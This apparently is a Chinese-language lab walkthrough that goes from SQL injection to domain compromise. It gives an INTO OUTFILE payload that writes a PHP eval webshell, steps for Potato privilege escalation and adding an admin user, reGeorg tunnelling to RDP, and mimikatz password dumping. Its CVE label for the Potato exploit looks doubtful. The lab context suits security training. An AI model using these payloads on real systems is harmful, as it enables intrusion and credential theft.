sql注入到获得域控-上
0x01. 基于sql注入的webshell
可以利用mysql的导出函数,将查询
- into outfile()
例如:id=1 union select 1,‘’ into outfile ‘c:/phpstudy/www/1.php 将id=1和联合查询出来的值导出到c:/phpstudy/www/1.php中,id=1的内容可能有很多,那么可以写id=1.1 让其查询不出结果’
- into dumpfile() (可以16进制写入.)
id=7.1 union select 1,‘’ into dumpfile ‘c:/phpstudy/www/1.php’
当知道绝对路径,且导出权限开启的时候就可以拿到webshell
DNS注入 load_file. @@datadir
数据具体位置存储的路径 @@basedir
小技巧:在传参的时候?id[]=1 加上中括号有时候可以看到报错信息
0x02. Getshell查看信息
1. 初步收集身份信息
- whoami 查看当前用户权限
- netstat -ano 查看本机开放的端口
- tasklist 查看本机运行的程序
- systeminfo 查看计算机详细信息
2. Windows提权姿势:
- Metasploit Framework提权
- 系统漏洞提权
- Cobalt Strike提权
- 调用高权限服务组件提权
0x03. 通过sql注入拿到webshell
通过sql注入,通过into outfile函数,导出查询结果一句话木马到指定文件,可以拿到webshell
首先将传参的类型改为数组,这样很多时候可以爆出网站的绝对路径,知道绝对路径之后,可以使用into outfile函数进行导出一句话木马文件。
http://afsgr16-b1ferw.aqlab.cn/?id=1 union select 1,'<?php eval($_REQUEST[8])?>' into outfile 'c:/phpstudy/www/alva.php';
因为这里前面id=1的时候我没有修改,所以说,原有的数据也给导出到alva.php文件里面去了。
菜刀连接,使用命令行,查看当前用户身份权限: whoami
输入 net user
net localgroup administrators(查看管理员用户组有哪些成员)
可以看到,还有其他两个用户,这里test用户并不是管理员权限,那么就需要进行提权。
权限是由身份决定的,菜刀连接的核心是运行PHP代码,那么权限就是由运行php代码的这个用户身份决定的。
不同的进程不同的服务可能对应着不同的权限,可以找到权限足够的进程来执行命令即可。
0x04. 如何提升权限
- 找到其他服务,调用其他服务或进程来执行命令
- 把shell弹到msf、cs上,使用工具提权
- 利用系统的漏洞来进行权限提升。(systeminfo 查看当前系统配置)
这里可以看到系统已经打了什么补丁,可以到提权辅助网页去进行查询。
将系统已经打了的补丁写进去,然后点击查询即可。
这里主要是使用烂土豆(CVE-2019-0803)提权,直接将烂土豆exe上传到目标服务器上,随便修改一个名字,然后打开命令终端,输入修改过后的名字 如1.exe -p "需要执行的命令"
既然现在已经是system权限了,那么试着添加一个用户,并且将这个用户添加进管理员组里面试试。 |
0x05. 远程连接目标主机
拿到了管理员权限,那么是不是可以用3389端口进行远程连接呢? |
当上传这个文件并且web访问的时候内容返回的是以上图片中的内容,那么程序就是正常运转中。
接下来到reGeorg目录中运行reGeorgsocksProxy.py脚本。
当出现这个页面的时候就证明成功跑起来了,-h 可以查看帮助.
这里用-l 指定地址 -p 指定端口 -u 指定连接文件
本地:reGeorgSocksProxy.py -l 127.0.0.1 -p 10086 -u net.php
在这里要连接服务器则将后面的指定连接文件修改为 目标地址即为:
python2 reGeorgSocksProxy -l 127.0.0.1 -p 10086 -u [http://afsgr16-b1ferw.aqlab.cn/net.php](http://afsgr16-b1ferw.aqlab.cn/net.php)
给本机10086端口传送数据,这个数据就会被发送给目标服务器。
reGeorgScoksProxy连接后,使用proxifier进行连接。
添加代理服务器,写127.0.0.1 10086端口,然后检查一下,检查成功则连接成功
新建一个规则,可以根据应用、端口等触发,这里就用mstsc(远程连接)触发,动作是使用代理。
设置好规则之后,使用菜刀,执行命令iponfig查看本机ip,然后在攻击机的mstsc远程连接此ip,用户是使用之前所创建的管理员 alva
0x06. 如何抓取管理员账户密码
连接上之后,可以用nmap、ICMP协议、Arp-scan等探测内网存活主机有哪些
因为部分内网都是统一用户名和密码,所以这时候可以用**猕猴桃(mimikatz.exe)**来抓取管理员的账号密码
而在Windows server 2008中,管理员账户和密码都是明文的。
所以它可以从内存中提取纯文本密码,哈希和kerberos票证。在windows server 2012上就不储存明文
mimikatz还可以执行哈希传递,票证传递或构建Golden票证。
现在在目标服务器上上传mimikatz.exe文件,并且用管理员权限运行
运行之后,输入log,生成日志文件,对mimikatz.exe进行的操作都会记录在这个文件里面。
然后进行权限提升,提升mimikatz可用的权限。
提升到最高的调试权限:privilege::debug
紧接着就可以进行抓取密码的操作了,输入sekurlsa::logonpasswords
命令执行之后,会将抓取到的数据全部存储在mimikatz.log文件中。
如此以来就抓到了管理员的账号密码了,利用内网密码唯一性,登录10.0.1.8主机,找到flag。
这时候需要用内网主机去连接10.0.1.8,用户名是默认的administrator 密码是我们所抓取到的密码。
总结: |